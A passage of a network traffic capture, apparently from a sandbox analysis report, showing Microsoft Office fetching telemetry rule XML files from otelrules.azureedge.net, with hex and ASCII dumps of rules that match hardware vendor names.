2024-12-07 23:48:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234827Z-r1cf579d778z4wflhC1EWRa3h000000003wg000000001hka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234827Z-r1cf579d778lntp7hC1EWR9gg4000000034g000000007thp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234827Z-r1cf579d778qgtz2hC1EWRmgks00000003m0000000004ssz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234827Z-r1cf579d778xq4f9hC1EWRx41g00000003p00000000029s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234829Z-r1cf579d77867vg8hC1EWR8knc00000003g0000000008d91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234829Z-r1cf579d7786c2tshC1EWRr1gc00000003cg000000005ecw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234829Z-r1cf579d778dfdgnhC1EWRd3w000000003e000000000b7xv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234829Z-r1cf579d7789trgthC1EWRkkfc00000004g0000000001zsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 09188c3a-a01e-0021-2702-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234829Z-r1cf579d778qlpkrhC1EWRpfc800000004f0000000003a6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234831Z-r1cf579d7789trgthC1EWRkkfc00000004h00000000010km x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234831Z-r1cf579d778zvkpnhC1EWRv23g00000004300000000013fn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
